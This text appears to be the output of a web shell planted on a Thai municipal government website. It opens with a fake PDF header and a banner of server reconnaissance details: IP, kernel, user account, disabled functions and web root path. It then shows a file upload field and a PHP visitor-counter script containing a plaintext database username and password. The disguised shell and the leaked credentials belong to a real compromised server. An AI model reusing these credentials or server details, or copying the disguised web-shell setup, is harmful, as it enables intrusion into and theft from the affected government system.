%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : phunphin ( 1164) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/phunphin/domains/phunphin.go.th/public_html/ |
Upload File : |
<?php
mysql_connect("localhost","phunphin_data","8Jd7tcVyaz6bU");
mysql_select_db("phunphin_data");
//*** Select Çѹ·Õèã¹µÒÃÒ§ Counter ÇèһѨ¨ØºÑ¹à¡çº¢Í§Çѹ·Õèà·èÒäËÃè ***//
//*** ¶éÒà»ç¹¢Í§àÁ×èÍÇÒ¹ãËé·Ó¡Òà Update Counter ä»ÂѧµÒÃÒ§ daily áÅÐź¢éÍÁÙÅ à¾×èÍà¡çº¢Í§Çѹ»Ñ¨¨ØºÑ¹ ***//
$strSQL = " SELECT DATE FROM counter LIMIT 0,1";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
if($objResult["DATE"] != date("Y-m-d"))
{
//*** ºÑ¹·Ö¡¢éÍÁÙŢͧàÁ×èÍÇÒ¹ä»ÂѧµÒÃÒ§ daily ***//
$strSQL = " INSERT INTO daily (DATE,NUM) SELECT '".date('Y-m-d',strtotime("-1 day"))."',COUNT(*) AS intYesterday FROM counter WHERE 1 AND DATE = '".date('Y-m-d',strtotime("-1 day"))."'";
mysql_query($strSQL);
//*** ź¢éÍÁÙŢͧàÁ×èÍÇҹ㹵ÒÃÒ§ counter ***//
$strSQL = " DELETE FROM counter WHERE DATE != '".date("Y-m-d")."' ";
mysql_query($strSQL);
}
//*** Insert Counter »Ñ¨¨ØºÑ¹ ***//
$strSQL = " INSERT INTO counter (DATE,IP) VALUES ('".date("Y-m-d")."','".$_SERVER["REMOTE_ADDR"]."') ";
mysql_query($strSQL);
//******************** Get Counter ************************//
// All //
$strSQL = " SELECT SUM(NUM) AS CounterAll FROM daily ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strAll= $objResult["CounterAll"];
// Today //
$strSQL = " SELECT COUNT(DATE) AS CounterToday FROM counter WHERE DATE = '".date("Y-m-d")."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strToday = $objResult["CounterToday"];
// Yesterday //
$strSQL = " SELECT NUM FROM daily WHERE DATE = '".date('Y-m-d',strtotime("-1 day"))."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strYesterday = $objResult["NUM"];
// This Month //
$strSQL = " SELECT SUM(NUM) AS CountMonth FROM daily WHERE DATE_FORMAT(DATE,'%Y-%m') = '".date('Y-m')."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strThisMonth = $objResult["CountMonth"];
// Last Month //
$strSQL = " SELECT SUM(NUM) AS CountMonth FROM daily WHERE DATE_FORMAT(DATE,'%Y-%m') = '".date('Y-m',strtotime("-1 month"))."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strLastMonth = $objResult["CountMonth"];
// This Year //
$strSQL = " SELECT SUM(NUM) AS CountYear FROM daily WHERE DATE_FORMAT(DATE,'%Y') = '".date('Y')."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strThisYear = $objResult["CountYear"];
// Last Year //
$strSQL = " SELECT SUM(NUM) AS CountYear FROM daily WHERE DATE_FORMAT(DATE,'%Y') = '".date('Y',strtotime("-1 year"))."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
$strLastYear = $objResult["CountYear"];
//*** Close MySQL ***//
mysql_close();
?>
<table width="70%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td class="btn" width="55%"><div align="right">Çѹ¹Õé :</div></td>
<td class="btn" width="45%"><div align="left">
<?php echo number_format($strToday,0); ?>
¤¹</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">àÁ×èÍÇÒ¹ :</div></td>
<td class="btn" width="45%"><div align="left">
<?php echo number_format($strYesterday,0);?>
¤¹ </div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">à´×͹¹Õé :</div></td>
<td class="btn" width="45%"><div align="left"> <?php echo number_format($strThisMonth,0);?>
¤¹</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">à´×͹·ÕèáÅéÇ :</div></td>
<td class="btn" width="45%"><div align="left"><?php echo number_format($strLastMonth,0);?>
¤¹</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">»Õ¹Õé :</div></td>
<td class="btn" width="45%"><div align="left"><?php echo number_format($strThisYear,0);?>
¤¹</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">»Õ·ÕèáÅéÇ :</div></td>
<td width="45%"class="btn"><div align="left"><?php echo number_format($strLastYear,0);?>
¤¹</div></td>
</tr>
<tr>
<td class="btn" width="55%"><div align="right">·Ñé§ËÁ´ :</div></td>
<td width="45%"class="btn"><div align="left"><?php echo number_format($strAll,0);?>
¤¹</div></td>
</tr>
</table>